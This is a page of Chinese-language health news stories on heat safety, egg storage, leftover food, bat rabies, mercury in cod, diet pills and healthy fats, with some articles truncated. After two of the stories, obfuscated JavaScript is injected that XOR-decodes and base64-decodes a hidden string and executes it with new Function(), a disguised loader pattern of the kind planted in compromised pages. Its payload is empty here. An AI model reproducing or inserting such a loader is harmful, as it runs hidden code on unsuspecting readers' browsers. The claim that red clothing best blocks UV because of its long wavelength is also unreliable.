夏天著得越少越涼快？專家教3大降溫穿搭術 著紅色竟最擋紫外線兼防皮膚損傷？
炎炎夏日，以为著得越少越凉快？有专家教3大降温穿搭术，其中著红色衣服不仅最散热，更最能阻挡紫外线兼防皮肤损伤。
夏天著得越少越凉快？
据内媒《生命时报》报道，炎炎夏日，不少人为了贪凉快，通常会选择“著得越少越好”。但其实凉快的秘诀并非露肉多。首都医科大学附属北京朝阳医院急诊医学中心主任医师王军宇表示，大脑的体温调节中枢透过调控身体的产热和散热，帮助维持体温恒定。人体散热主要依赖以下4大机制：
辐射散热： 将体热传给外界较冷物体，在安静及气温较低环境中为主。
对流散热： 靠空气流动交换热量，例如拨扇、吹风扇。
蒸发散热： 水分由液态转化为气态带走热量，如出汗降温。
传导散热： 体热直接传给接触的低温物体，如敷冰袋降温。
王军宇医生强调，当外界温度过高或体内产热过多，体温调节中枢会透过扩张血管、加快呼吸及出汗来加速散热，但这在高温高湿环境下会开始失效。
报道综合专家观点指出，一般当气温达到33℃，人就会感到侷促闷热；当气温高达36℃（接近人体核心体温）时，辐射散热会大大减少，主要依赖出汗蒸发。体液蒸发也会受空气相对湿度的限制，相对湿度越大，蒸发效果越差，散热就会受到影响。若此时穿得太少，皮肤大面积暴露在热空气中，反而会从外界吸收更多热量，令人感觉更热。同时，缺少衣物保护会令皮肤直接暴露在紫外线下，大幅增加晒伤危机。
因此，出门前建议先查看实时气温。若气温低于36℃且阳光温和，穿得少确实较凉快；但若气温高于人体体表温度且太阳猛烈，建议穿着宽松的长衣长裤，既能隔热，亦可减少紫外线对皮肤的损害。平时外出亦不妨多备一件薄外套，既可防晒，出入冷气地方亦可防着凉。
3大降温穿搭术 著红色竟最挡紫外线兼防皮肤损伤？
环境气温无法改变，但可以透过日常穿搭为自己降温。选购夏日衣物时可遵循以下3大原则：
3大降温穿搭术
1.布料
有些衣物看似轻薄，例如化学纤维材质，其吸水性及透气性其实极差，汗液难以透过衣物蒸发散热，穿着时会感觉侷促。夏季宜选择亚麻、真丝、薄款棉质面料，吸湿透气性更佳；运动时则建议选择速干布料，加快汗液蒸发。
2.颜色
穿红色衣服实际上更凉快且最防晒，这主要得益于其特殊的物理特性：红光波长较长，能大量吸收日光中的紫外线，从而减轻对皮肤的损害；同时，红色衣服能反射传播热辐射的红光和红外线，帮助身体反射掉部分热量，令人感觉更加凉爽。
3.版型
强烈推荐选择宽松的版型，让布料与皮肤之间保留足够大的空气层，增加空气对流散热。女性可选择纯棉宽松的运动内衣，材质为高性能织物，透气性更好，吸湿排汗，减少汗液对皮肤的刺激；另外，穿着宽松裙款有利于通风及汗液排出，体感上会比穿裤款更凉快舒适。
资料来源：《生命时报》
T10
美國醫生舉家遷居卑詩 到偏遠沿海社區工作
【星岛综合报道】美国内科医生里奥贝（Leo Bay，下图）决定全家移居加拿大，到卑诗省的阳光海岸（Sunshine Coast）执业。
据加拿大广播公司（CBC）报道，正与家人忙着打包行李的奥贝，准备告别犹他州（Utah）的家园。他坦言这是一次重大抉择，但这趟充满未知的新旅程也令全家人感到兴奋。
当他带着妻子与三个孩子首次搭乘渡轮造访彭德港（Pender Harbour）时，瞬间爱上这片海岸，深信这就是理想的定居地。
里奥贝拥有八年行医经验，曾任威斯康辛州（Wisconsin）、明尼苏达州（Minnesota）与北达科他州（North Dakota）的副首席医疗资讯官，长期深耕远距与偏乡医疗。今年8月底他将正式入职彭德港健康中心（Pender Harbour Health Centre，下图），为当地1,000名偏乡沿海居民提供医疗服务。
卑诗广告战成功吸引数百美国医护
谈到为何选择加拿大，里奥贝表示他身为全科医生渴望重新专注于患者照护，而美国医疗体制存在许多沉疴，保险公司不仅给付范围极其有限，更伴随严格的限制。
里奥贝直言，若在五年前提出移居加拿大的想法，不仅会彻底打乱生活，更显得遥不可及。然而，卑诗内外科医学会(College of Physicians and Surgeons of B.C.)在2025年7月修改附例，为这一切带来转机。
新法规规定，凡持有美国医疗专业委员会（American Board of Medical Specialties）认证的美国医生，皆可免除额外评估、考试或培训，直接在卑诗省取得全面执照。
配合法规松绑，卑诗省卫生厅于2025年6月推出500万元数码广告计划，锁定华盛顿州、奥勒冈州及加州的医疗从业人员；广告也刊登于美国学术出版物，持续至9月。
里奥贝表示，正是看到这些招募计划，才让这场跨国移居变为可行。
卫生厅数据显示，截至2026年3月，已有超过580名美国医疗工作者接受卑诗省偏乡基层聘约，其中包括270名医生。
卑诗省目前拥有逾1.5万名医生，是加拿大人均医生数最高的省份，2024年医生人数较2017年增加23%。
跨国引进医生缓解基层医疗荒
在彭德港健康中心，里奥贝将与另一名同样从美国移居加拿大的医生威廉斯（Dr. Derek Williams）共事。行医25年的威廉斯于今年稍早从蒙大拿州搬来。
彭德港健康中心行政总监尼克加斯金（Nick Gaskin）指出，在两位新医生加入前，该中心仅有一名兼职医生负责照护500位居民。未来诊所将有能力让社区2,000名居民拥有专属的家庭医生，这项转变意义非凡。
加斯金坦言，偏乡地理环境特殊，过去在招募与留住医生上面临严峻挑战。他认为美国当前的政治局势促成了这股出走潮，且现代人对于跨国移动的接受度已大不相同。
除了这两位美籍医生，另外两位分别来自俄亥俄州与英国的医生也已进驻阳光海岸，近期还将有一位执业护士加入医疗团队。
阳光海岸家庭医学分会（Sunshine Coast Division of...
長期食茶葉蛋會傷腎？專家拆解2大迷思「高鈉是隱藏危機」附安全食用建議
不少上班族及健身人士习惯每天到便利店购买茶叶蛋补充蛋白质，但近日网上有帖子引发热烈讨论，有网民指其朋友平时饮食节制，早餐长期以茶叶蛋为主食，最近体检却发现肾功能出现问题，质疑是茶叶蛋惹的祸。究竟每天吃茶叶蛋会伤肾吗？
研究未证实鸡蛋会直接引致肾病 鸡蛋属优质蛋白质
2019 年刊登于《临床肾脏病期刊》（Clinical Kidney Journal）的研究回顾指出，流行病学调查未发现摄取鸡蛋与慢性肾脏病风险存在明确关联。美国国家肾脏基金会亦表示，鸡蛋并非肾病患者的绝对禁忌食物；卫生部门提醒，即使是肾病患者亦不应自行完全禁食蛋白质，而应根据肾功能分期接受医生或营养师的专业评估。
茶叶蛋健康风险源于卤汁中高钠含量
相较于鸡蛋本身，食茶叶蛋更值得关注的是烹调过程中吸收的钠含量。茶叶蛋因加入酱油及盐等调味长时间浸泡，钠含量显著高于一般无调味的水煮蛋。世界卫生组织建议成年人每日钠摄取量应低于 2,000 毫克；长期饮食过咸会增加高血压风险，而高血压正是诱发慢性肾脏病的重要危险因素。然而，这并不代表“食茶叶蛋等于一定会洗肾”，真正需要评估的是个人整体的每日钠与蛋白质总摄取量。
成年人每日可食一只茶叶蛋 肾病、慢性病患需调整
根据美国心脏协会（AHA）的科学建议，健康成年人每天可将 1 只全蛋纳入日常均衡饮食中；对于整体健康状况良好的高龄者，每天 1 至 2 只亦在可接受范围内。
换算成茶叶蛋，健康成年人每日食 1 只属保守安全份量，偶尔食 2 只一般不会直接伤害肾脏，但仍需将其他肉类、鱼类及豆制品的蛋白质一并计算，并留意茶叶蛋卤汁带来的钠含量。若已患有血脂异常、糖尿病或慢性肾脏病，则应咨询医生以制定个别化的饮食份量。
资料来源：Clinical Kidney Journal
T10
行山客被咬以為是雀鳥 大溫接觸蝙蝠求診增 慎防瘋狗症
【星岛综合报道】西温一名行山客遭蝙蝠咬伤，需到医院接受疯狗症检查。温哥华沿岸卫生局（Vancouver Coastal Health）表示，今夏因接触到蝙蝠而求诊的人数有增加，但情况与夏季一般趋势相若，卑诗省蝙蝠带有疯狗症病毒的比例不足1%，感染风险相当低。
事主上周五（7日）下午与妻子带狗到西温怀特湖径（Whyte Lake Trail）散步，其间一只蝙蝠突然飞扑过来，咬了他的左手。
“我起初还以为是一只雀。”他发现是蝙蝠后，立即把牠甩开，并发现手上流血，于是到狮门医院（Lions Gate Hospital）接受检查。
事主表示，数周前已从朋友口中听闻过类似事件。他最初不知道事情可以很严重，“如果不是之前听说接触蝙蝠后要立即接受疯狗症诊断，我可能不懂这样做。”
北岸医疗卫生官Alex Choi医生表示，今年夏季接触蝙蝠后要求诊断的病人有所增加，但情况并非异常。
医生指出，夏季蝙蝠活动增加，同时有较多人进行户外活动，因此北岸人口与蝙蝠接触的机会亦随之上升。近期有人在大温不同山径接触蝙蝠后求医，暂时难以判断是因为接触个案增多，还是市民提高了警觉。
卑诗省蝙蝠少于1%的带有疯狗症病毒，感染风险很低。
自1924年以来，加拿大共有28宗疯狗症致命个案，其中两宗发生于卑诗省。2019年温哥华岛一名21岁男子死亡，就是因为接触蝙蝠而受到感染。
疯狗症一旦浮现病征，情况便可能致命。加拿大公共卫生署（PHAC）资料显示，感染后可能要3至8周才出现一些类似流感的症状，包括发烧、疲倦、头痛、焦虑或烦躁，其后可恶化至出现幻觉、过度活跃、怕水或怕风等症状。
如真的受到感染，若能及时注射称为免疫球蛋白（immunoglobulin）的抗体及接受多剂疫苗，可以阻止发病。
蝙蝠通常由黄昏至黎明较为活跃，市民可在门窗安装纱网，既可降低接触蝙蝠的风险，亦能阻隔蚊虫。
尽管感染风险不高，医生建议如曾接触蝙蝠，无论是被咬、抓伤，甚至只是蝙蝠身体接触到皮肤，都应尽快求诊，但也无需过份担心或影响享受户外活动的兴趣。
相关新闻：大温“猫瘟”病例增 传染性极高可夺命 猫主须留意
图：Pexels
V20
烚蛋可以保存幾耐？營養師揭帶殼/去殼雞蛋最佳保存期 警告這狀態須即日吃！
烚蛋是不少人的健康首选，但到底烚蛋可以保存多久？有营养师拆解鸡蛋保存迷思，警告烚蛋一旦处于1个状态，表面会极易滋生细菌，必须即日吃完。
营养师揭带壳/去壳鸡蛋最佳保存期
据日媒《Yoga Journal》报道，不少人以为鸡蛋煮熟后就可以存放很久，但带壳和去壳的储存方式，原来对其保存期限影响很大。营养师田中ひろか特别为大家拆解烚蛋的保质期：
1.带壳烚蛋
煮熟后，若蛋壳没有破裂，将其放入雪柜冷藏（低于10°C），大约可安全存放3至4天。带壳储存有助防止鸡蛋水分流失及阻挡细菌污染。
2.剥壳烚蛋
剥去蛋壳会大大增加鸡蛋与空气的接触面积，使细菌极容易附着；加上剥壳后鸡蛋表面容易受潮，会为细菌创造极佳的繁殖环境。考虑到一般家庭雪柜的卫生条件差异，为了安全起见，强烈建议剥壳后的烚蛋必须当天食用完毕，切忌放过夜。
安全存放烚蛋2大守则
田中ひろか提醒存放烚蛋时必须紧记以下两点：
●必放雪柜冷藏（低于10°C）：鸡蛋煮熟后，即使没有剥壳，也必须放入雪柜冷藏。因为加热过程会破坏蛋壳的天然屏障功能，令细菌比在生鸡蛋时期更容易繁殖。谨记要待烚蛋完全冷却、沥干多余水分后才放入雪柜。若放在室温（高于25°C）环境，细菌会迅速大量繁殖。
●蛋壳破裂须尽快食：若蛋壳出现裂痕，细菌极易从缝隙趁虚而入。煮熟鸡蛋后应仔细检查，若发现蛋壳有裂缝，最好在当天或翌日尽快吃掉。
生鸡蛋比熟蛋放得更耐？
一般而言，带壳生鸡蛋可保存约两星期，而市售的熟鸡蛋通常只能保存一周左右。鸡蛋主要透过蛋壳上的气孔吸收氧气并排出二氧化碳。当鸡蛋经过加热煮熟，这些气孔便会失去功能，这正是为何熟蛋反而更快变坏的原因。
不洗蛋更卫生吗？
许多人买鸡蛋回家后习惯先用水清洗，以为这样更卫生，但其实大错特错。蛋壳表面原本有一层天然的保护膜（角质层），能有效阻挡细菌入侵。如果用水冲洗或用力擦拭，会洗走这层保护膜，令细菌更容易穿透蛋壳进入内部。
目前超市售卖的盒装鸡蛋大多已经过专业清洗，买回家后不洗直接放入雪柜反而更安全。若是从农场或街市买来未经清洗的鸡蛋，若表面有明显污渍，建议在准备食用前才用干布轻轻擦拭或用水冲洗即可。
资料来源：《Yoga Journal》
T10
男子吃隔夜海鮮面嘔吐/肚瀉 竟敗血性休克入ICU洗腎 醫生警告：5類食物忌放隔夜
长辈们常有的怕浪费心态，而将食物放隔夜，翌日再进食，可能随时惹来生命危险！有男子将吃剩的海鲜面放雪柜，翌日翻热进食后，竟狂呕肚泻，更引发败血性休克，被迫入ICU洗肾保命。除了海鲜面，有医生警告，更点名5大食物忌放隔夜。
男子吃隔夜海鲜面呕吐/肚泻 竟败血性休克入ICU洗肾
肾脏专科医生洪永祥在其Facebook专页分享病例，该名65岁男子是一名第三期慢性肾衰竭患者。某日晚上，他将中午食剩的蚬肉海鲜面盖上保鲜纸，放入雪柜冷藏。翌日晚上，他将海鲜面拿出来用微波炉翻热当作晚餐。吃完不到4小时，他开始剧烈狂呕、肚泻，甚至全身发冷狂抖。随即被送往急症室，当时其血压暴跌至75/45mmHg，出现败血性休克与急性肾损伤。他立刻被送入深切治疗部（ICU）抢救，更需要洗肾长达一星期。险些夺命的元凶正是这碗冰过的面，隔夜海鲜滋生了极高浓度的金黄葡萄球菌与肠炎弧菌，其产生的毒素极耐高温，微波炉根本杀不死。对于免疫力与排毒能力本已极低的肾病患者来说，这碗面带来了致命打击。
洪医生直言，很多患者与家属都有个致命误区：“只要放雪柜就不会变坏。”事实上，雪柜只能“抑制”细菌繁殖，根本无法“杀灭”细菌。例如致命的李斯特菌，甚至在4°C的低温下依然能持续生长。由于肾病患者的排毒机制差、免疫细胞功能低下，只要些微细菌毒素入侵，就可能引发肠胃炎、脱水、严重的电解质紊乱（如致命的高血钾症），甚至败血症。
5类食物忌放隔夜 进食后严重恐诱发高血钾症
洪医生提醒，以下5类食物绝对不能隔夜，即使放入雪柜冷藏，翌日也请直接丢弃：
1.隔夜海鲜（虾、蟹、蚬、鱼类）
海鲜极易腐败，过夜后会产生大量蛋白质分解物，对肝肾造成巨大负担；且极易滋生耐热的肠炎弧菌与细菌毒素，即使重新高温翻热也无法破坏毒素。
2.隔夜绿叶蔬菜（菠菜、小白菜、芹菜）
绿叶蔬菜含有较高的硝酸盐，煮熟后长时间放置，细菌会将其转化为亚硝酸盐。此外，绿叶菜重复翻热后，钾离子浓度会相对升高，肾病患者食用极易诱发高血钾症。
3.隔夜半熟蛋与蛋类料理
未完全熟透的蛋（如溏心蛋、太阳蛋）本身就可能带有沙门氏菌。即使放入雪柜，过夜后细菌会呈指数级爆发，极易引发严重急性肠胃炎。
4.隔夜凉拌菜与沙律
凉拌菜在制作过程中未经过高温杀菌，本就带有较多微生物。放置过夜后，无论是否冷藏，都会成为李斯特菌与大肠杆菌的温床，加上凉拌菜无法加热再食，危险性最高。
5.隔夜豆制品（豆腐、豆浆、豆干）
豆制品水分高、植物蛋白质丰富，是细菌最爱的培养基。过夜后极易发酵变质，即使闻起来没有明显酸味，细菌数量往往已经超标，极易引发肠道感染。
肾病/肾衰竭初期症状 留意小便变化
据香港医管局资料指，肾脏主要功能包括排泄经新陈代谢产生的废物，协调体内水分、电解物、酸碱度、血压等，制造红血球激素，以及协助制造维他命D。当肾脏功能因某些原因长期受到严重伤害，体内废物累积，引发多种身体功能的问题，有机会演变为慢性肾衰竭。
不过，初期的肾病及慢性肾衰竭征状并不明显，较常出现的症状如下：
1.小便带血 / 茶色尿（血尿）
2.小便带泡沫（蛋白尿）
3.小便混浊（尿感染）
4.小便赤痛、频密
5.小便感困难、不畅顺
6.小便排出小沙石
7.多尿、尿量减少、夜尿
8.腰腹疼痛
9.足踝或眼皮浮肿
10.血压高
肾衰竭4大高危人士 严重恐洗肾
根据香港医管局资料，当肾脏功能因某些原因长期受到严重伤害，其排泄体内新陈代谢废物的功能受损，身体内的废物会累积，且引发多种身体功能的问题，引发慢性肾衰竭。
当到达末期肾功能衰竭阶段，病人须透过透析（洗肾）或肾脏移植，才得以维持生命。当中，患有下列疾病的病人有较高风险患上慢性肾衰竭：
1.糖尿病
2.肾小球肾炎，包括红斑狼疮肾炎
3.高血压
4.先天性肾病及有肾病家族病历
资料来源：肾脏专科医生洪永祥、医管局
T10
游日注意！東京中暑致命個案破百宗 室內未開冷氣成高危殺手 專家教3大防暑貼士
日本今夏持续受到极端热浪笼罩，东京天气连日酷热难耐，中暑死亡人数急速上升，情况令人忧虑。《TBS》报道，据东京都监察医务院最新统计显示，今年 6 月至 8 月初期间，单是东京 23 区内因中暑死亡的人数已正式突破百人大关，达到 101 人。调查发现，不少悲剧发生于室内环境，部分长者因未有开启冷气空调而于家中猝逝，反映出极端高温对民众健康的严峻威胁。
九州气象史上首度突破40度极限高温 高气压笼罩致东海地区
受高气压持续笼罩影响，西日本与东海地区的气温急剧飙升，各地纷纷打破历年高温纪录。其中大分县日田市录得高达摄氏 40 度的高温，创下九州气象观测史上首次突破 40 度酷暑日的纪录。关西及东海多地的气温亦持续处于危险水平，极端高温环境大幅增加了市民患上热衰竭及中暑的风险。
室内闷热环境成高龄人士中暑高危地点 未开冷气致体温过高
在东京都的死亡案例中，包含练马区一名 70 多岁男性及足立区一名 80 多岁女性，两人均在室内被发现身亡。现场调查证实，两名受害者当时虽然身处室内避暑，但均未有开启冷气空调。专家警告，不少长者因体温感知退化，未能及时察觉室内温度已达危险水平，最终在不知不觉中引发严重中暑而丧命。
医生：掌握正确补水方法 认清室内外环境差异
面对持续不退的热浪威胁，关西医科大学医学部救急医学讲座讲师岛崎淳也医生提出了策略性防护建议。岛崎医生指出，市民除了要掌握正确的补水及补充电解质方法外，亦需认清户外与室内的环境温差，并重点守护儿童与长者等高危群组。此外，在夏季来临前提早适应温度、锻炼耐热体质，才是全面防范热衰竭与中暑的关键所在。
1、 户外防护：首要避免阳光直射
户外中暑风险最高的原因是身体直接暴露于烈日下。市民应养成基本防护习惯，如配戴帽子、选择通风良好的衣物，并尽量移步到照射不到阳光的树荫下。近年不少人开始带备太阳伞，在服饰上应避免穿着过分紧身或厚实的衣服，保持衣着宽松通风；颜色方面，深黑色容易吸热，浅白色则有助减轻炎热感。
2、 室内防护：慎防窗边高温并善用冷气
室内不同角落的炎热程度其实有很大分别。特别是阳光直射的窗边，属于中暑高危点，临床上甚至曾有住院病人因长期坐在窗边而出现中暑症状。在室内安装遮光窗帘或百叶帘阻挡直射阳光，是有效的防范措施。
至于室内应否开窗通风，则视乎外在环境。若室外气温不算极端，开窗保持空气流通确实有助散热；但当室外气温飙升至 35℃ 甚至...
網購銀鱈魚扒水銀含量超標60% 過量攝取恐損害視力聽覺 附食安指引
市民在网购食材时必须留意潜在的食安风险，避免将有害化学物质吃下肚。食物环境衞生署食物安全中心公布，在恒常食物监测计划中，从一间网上商店抽取的一个来自阿拉斯加的预先包装银鳕鱼扒样本，被检出金属杂质甲基汞（水银的最毒有机形态）含量严重超标。该样本每公斤含 0.8 毫克甲基汞，超出法定标准足足六成。过量摄取甲基汞会对神经系统造成不可逆转的伤害，严重者更会损害视力、听觉及记忆力。
食安中心即时指令涉事商户停售及下架
食安中心在确认样本甲基汞含量超出每公斤 0.5 毫克的法定上限后，已即时知会涉事商户并采取跟进行动。中心已指令商户将受影响批次的银鳕鱼扒停售及下架，涉事进口商亦已按指示开展回收工作。市民如曾购入相关产品，可于办公时间内致电进口商热线 3643 0172 查询回收安排，食安中心现正全力追查问题产品的源头与流向。
孕妇与幼童过量摄取 恐损害胎儿脑部发育
食安中心发言人指出，鱼类中的汞主要以甲基汞形式存在，而进食大型捕猎性鱼类是人类摄入水银的主要途径。过量摄取甲基汞不仅会影响胎儿及幼童的脑部发育，对成年人而言，亦会损害视力、听觉、肌肉协调性及记忆力。根据食安中心的总膳食研究报告，吞拿鱼、金目鲷、鲨鱼、剑鱼及旗鱼等体型较大的捕猎性鱼类，其汞含量普遍较高，健康风险不容忽视。产品名称：U.S. Alaska Black Cod Steak
高危群组应优先选择体型较小的鱼类
为了降低金属污染物的摄入风险，食安中心呼吁较易受水银影响的高危人士应谨慎选择食材。计划怀孕的妇女、孕妇及幼童等群组应避免进食大型捕猎性鱼类，并以体型较小的鱼类作为补充优质蛋白质的首选。根据香港法例《食物搀杂（金属杂质含量）规例》，售卖金属杂质超标的食物即属违法，一经定罪最高可被判罚款五万元及监禁六个月。食安中心将持续跟进事件并加强业界抽查，全力保障市民的饮食安全。
产品资料如下：
产品名称：U.S. Alaska Black Cod Steak
品牌：Alaska Seafood
来源地：美国
净重：每包三百五十克
经销商：永利隆
进口商：Galleon International Limited
此日期前最佳：二○二六年九月二十日
资料来源：消费者委员会
T10
減肥藥別亂吃！4種減肥成分風險高 營養學家警告「畀錢都唔食」效果未明、隨時傷肝傷心
肥是女士们的终身难题，如果可以不节食、不运动也能瘦，相信不少人都会“胆粗粗”去尝试！坊间的减肥补充剂五花八门，有不少标榜“天然”、“速效”。有专家警告，部分成分不仅未能有效减脂，分分钟超伤身；长期用恐损肝伤肠、增加心血管风险，消费者勿为无效产品赔上健康。
4种高危减肥成分 营养学家称“畀钱都唔食”
注册物理治疗师兼营养学家Steven Yu早前在个人专页分享，四种“畀钱都唔会食”的减肥成分，提醒消费者选购前必须审慎注意：
高危成分｜1. 番泻叶（Senna）
常见于排毒茶，作用并非消脂，而是刺激肠道产生泻药效果，令体重短暂下降，但喝足够水后体重便会“打回原形”。长期饮用可能导致电解质失衡，影响肠道正常功能，甚至造成依赖。
高危成分｜2. 辛弗林（Sinefrine）
这种成分常被标榜为天然食欲抑制剂，但研究显示其减脂效果极微，几乎等于无效。部分研究更指出，辛弗林可能引致心跳加速及血压上升，为一个未经证实的效果而增加心血管风险，并不值得。
高危成分｜3. 藤黄果（Garcinia）
虽然声称有助控制食欲，但学术研究证实其减肥效果微乎其微。更令人关注的是，曾有服用者出现疲倦、深色尿液、眼白变黄等肝损伤症状，严重个案甚至需要换肝。即使发生率不高，为一个无效产品而承受肝脏风险，极不划算。
高危成分｜4. 瓜拿纳（Guarana）
许多标榜“天然”的减脂产品均含此成分，主要作用等同大量咖啡因。本身已有饮咖啡习惯的人，再摄取瓜拿纳可能引致手震、头晕、失眠等副作用，对减肥毫无帮助。
选购补充剂前先问四条问题
Steven建议，消费者在购买任何减脂补充剂前，先问自己四个问题：
1.产品有否清楚列出每种成分及剂量？
2.人体研究量度的究竟是脂肪下降，还是只有代谢率或食欲变化？
3.实际效果是否大到值得花钱？
4.效果是否受咖啡因、药物或其他补充剂影响？
他提醒，即使严重副作用只曾出现在少数个案，如果预期效果近乎为零，这个风险也未必值得承受。患有长期病、正在服药或怀孕人士，使用任何补充剂前更应先咨询专业人士。
衞生署：中毒恐致精神问题、心血管及肠胃不适
其实，衞生署曾于2016年至2020年接获72宗与服用减肥产品有关的中毒个案。事主大部分为女性，最常见征状为精神心理问题（如幻觉、行为异常）；其次为心血管问题（如胸口不适、心悸）；以及肠胃不适（如呕吐、腹泻），大部分个案需住院治疗。在71份样本之中，全部验出含未申报或禁用成分，最常见为西布曲明，该成分曾用作抑制食欲，但因增加心血管风险已被禁用；其次为泻药、利尿药及动物甲状腺组织。
每周减0.5至1公斤 配合饮食运动
市民应留意，如果减肥产品效果常被夸大，副作用可相当严重且持久。若产品声称“好得令人难以置信”，更应格外小心，因这类产品往往缺乏科学证据，甚至含有害药物成分。衞生署指出，安全减肥应以每星期减去0.5至1公斤为目标，并配合均衡饮食及适量运动。体重减轻过快可引致电解质失衡、营养不良、胆石及疲倦等问题。
资料来源：注册物理治疗师兼营养学家Steven Yu（获授权转载）
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var...
牛油果非唯一選擇！盤點7大健康脂肪食物 護心/防癌/防糖尿病 附最佳食用份量
想摄取优质脂肪，以为只有牛油果可以选择？有专家盘点7大健康脂肪食物清单，不仅能显著降低坏胆固醇，更有效护心、防癌兼预防糖尿病。到底这些健康脂肪食物最佳食用份量是多少？
盘点7大健康脂肪食物 护心/防癌/防糖尿病
据《Verywell Health》报道，牛油果富含健康的不饱和脂肪，常被誉为高脂肪健康食品的首选。不过，想摄取优质脂肪以促进心脏健康，其实牛油果并非唯一选择，还有以下7种蕴含极高营养价值的优质脂肪食物，建议将其纳入日常饮食：
1.核桃
核桃富含具抗炎作用的多元不饱和脂肪酸，每份含脂肪15.93克。研究显示，进食富含多元不饱和脂肪（如α-亚麻酸）的食物，能显著改善整体健康，并降低患上心脏病的风险。此外，核桃亦富含多酚等抗氧化剂，有助预防导致慢性疾病的细胞损伤。
2.奇亚籽
奇亚籽富含具抗炎特性的多元不饱和脂肪，每进食约28克奇亚籽，即可摄取约6.72克优质脂肪。奇亚籽还含有丰富的膳食纤维和镁等重要营养素，有助维持健康的血糖及胆固醇水平。
3.特级初榨橄榄油
一份特级初榨橄榄油含有约10.56克单元不饱和脂肪及抗氧化酚类化合物。专家建议每天食用约2汤匙特级初榨橄榄油，可在数星期内改善心脏健康。研究亦指出，富含特级初榨橄榄油的饮食，有助预防糖尿病及某些癌症等慢性疾病。
4.杏仁酱
杏仁酱是优质脂肪的绝佳来源，富含单元不饱和脂肪酸（MUFA）。食用2汤匙杏仁酱即可提供约10.36克单元不饱和脂肪酸。此外，杏仁酱还含有钙、镁以及维他命E，维他命E能作为抗氧化剂增强免疫系统功能。
5.乳酪
特别是由草饲牛全脂牛奶制成的乳酪，蕴含丰富脂肪酸。大约一盒（约170克）全脂乳酪就能提供约5克优质脂肪。研究显示，富含Omega-3脂肪酸和共轭亚麻酸（CLA）的乳酪，能透过减轻发炎、促进细胞修复及降低血脂水平，来保护心脏健康。
6.沙甸鱼
沙甸鱼蕴含极丰富的抗炎Omega-3脂肪酸（EPA和DHA），有助降低血脂并改善血管功能。每约28克含有约3.23克Omega-3脂肪酸。研究指经常进食这类海鲜，甚至能减少对Omega-3补充剂的依赖。此外，还富含蛋白质、维他命D、铁、钙、硒和维他命B12。
7.鸡蛋
鸡蛋尤其是蛋黄，富含对心脏有益的不饱和脂肪。虽然大众普遍担心鸡蛋含有胆固醇，但研究证实，鸡蛋中的胆固醇并不会像不健康的“饱和脂肪和反式脂肪”，直接推高人体的坏胆固醇水平。 每日进食一只大号烚蛋，不仅能摄取约5.3克优质脂肪，还能补充叶黄素及玉米黄素等抗氧化剂，保护细胞免受损伤。
日常饮食增加健康脂肪7大秘诀
报道指出，在日常饮食中以不饱和脂肪取代饱和脂肪，有助降低低密度脂蛋白（俗称坏胆固醇）及三酸甘油脂水平。专家推荐以下7大实用替换秘诀：
1.每周至少进食两份约99至113g的健康脂肪鱼，如三文鱼、鲭鱼、沙甸鱼、鲱鱼或吞拿鱼。
2.将一小把无盐坚果作为日常零食，如核桃、杏仁、南瓜籽。
3.制作三文治时，以牛油果泥取代沙律酱等不健康调味料，口感同样顺滑。
4.烹饪时选用特级初榨橄榄油，取代牛油或其他劣质食油。
5.在沙律中撒上奇亚籽或葵花籽，增加香脆口感。
6.早餐烘多士时，尝试以杏仁酱取代花生酱，摄取更多健康脂肪。
7.优质脂肪如坚果热量普遍较高，进食时必须控制份量，切忌过量。
资料来源：《Verywell Health》
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...
網紅杯裝清水如飲細菌「洗澡水」！醫生警告：恐吸入4大致病菌 必學深層清洗消毒5部曲
以为饮管杯只装清水就不用认真洗？有医生警告，饮管暗藏极多清洁死角，长期不彻底消毒，等同每日吞落细菌的“洗澡水”，随时吸入4大恶菌。到底有何方法有效彻底消灭致病黑垢？
网红杯装清水如饮细菌“洗澡水”？揭开2大恐怖真相
据内媒《人民日报健康时报》报道，日常生活中许多人喜欢用饮管杯喝水，尤其是在办公室，随时吸一口既方便又能防止漏水，更会让人不知不觉喝更多水。不过，早前有一名母亲发现，孩子持续肚泻并伴随咳嗽，经排查后发现，元凶竟是孩子每天使用的饮管杯。尽管她每天都有冲洗水杯，但狭窄的饮管内部及与水杯的接驳处，竟然布满霉菌。
很多人以为，只要饮管杯只装清水，不装含糖饮品就不会污糟。但现实是，即使只喝清水，饮管杯依然极易藏污纳垢，甚至在夏季，情况更加严重。华中科技大学同济医学院附属协和医院感染科副主任赵雷医生接受访问时指出，饮管杯与普通开口水杯最大的区别有两点：
结构复杂：饮管内部幼长且有弯位，加上吸嘴、矽胶密封圈、重力球等部件，形成大量清洁死角。
长期潮湿：难以彻底干燥，这恰好为微生物繁殖提供了最佳条件。
此外，每次喝水时，口腔内的唾液、食物残渣及细菌都会顺着饮管倒流入杯内。日积月累下，管壁会形成一层滑溜的生物膜，这正是水杯用久了会发黏、有异味的真正元凶。加上夏季闷热潮湿，杯内长期处于温暖湿润的密闭状态，更是微生物繁殖的理想泳池。
医生警告：恐吸入饮管内壁4大致病菌
赵医生提醒，饮管内壁常见的致病微生物主要包括：
肠道致病菌（如大肠杆菌、金黄葡萄球菌）：随喝水进入消化道后，可能引起急性肠胃炎，出现腹痛、肚泻、恶心等症状。
